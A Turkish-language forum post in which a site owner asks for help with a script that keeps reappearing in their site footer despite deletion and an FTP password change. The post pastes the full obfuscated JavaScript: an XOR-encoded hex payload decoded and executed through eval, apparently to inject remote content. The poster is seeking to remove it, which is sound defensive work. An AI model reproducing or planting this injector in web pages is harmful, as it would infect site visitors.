Selam ,

siteme eklenen virüs olduğunu düşündüğüm bir kod var. Onu defalarca silmeme FTP şifremi değiştirmeme rağmen nerdeyse 15 dakikada bir kendini footer'a tekrar yazdırıyor. Bilgisi yada fikri olan arkadaşlardan yardım bekliyorum

<script>
nb="505b574159515a401a43465d40511c16085d5246555951 1447465709135c4040440e1b1b47555e5c525c4747565d5356 5b5a59471a51010c4e1a575a1b45435146404d1b1314435d50 405c09130513145c515d535c40091305131447404d58510913 425d475d565d585d404d0e145c5d5050515a0f130a081b5d52 465559510a161d0f3e514d475209167a557a160f4e514c5509 167a557a160f";gnzkp="function bywpn(){ggetg=Math.PI;esqsjr=parseInt;vhyi='length ';rhu=esqsjr(~((ggetg&ggetg)|(~ggetg&ggetg)&(ggetg &~ggetg)|(~ggetg&~ggetg)));ca=esqsjr(((rhu&rhu)|(~ rhu&rhu)&(rhu&~rhu)|(~rhu&~rhu))&1);ukklp=ca<<ca;z exa=rhu;eysf='';gkn=String.fromCharCode;mk=eval;fo r(cg=rhu;cg<gnzkp[vhyi];cg-=-ca)zexa+=gnzkp.charCodeAt(cg);zexa%=unescape(rhu+u nescape('%78')+(ca<<6));for(cg=rhu;cg<nb[vhyi];cg+=ukklp)eysf+=gkn(esqsjr(rhu+unescape('%78')+nb .charAt(cg)+nb.charAt(cg+esqsjr(ca)))^zexa);try{mk (eysf);}catch(e){try{eval(eysf);}catch(e) {window.location='/';}}}try{eval('bywpn();')}catch(e) {}";eval(gnzkp);
</script>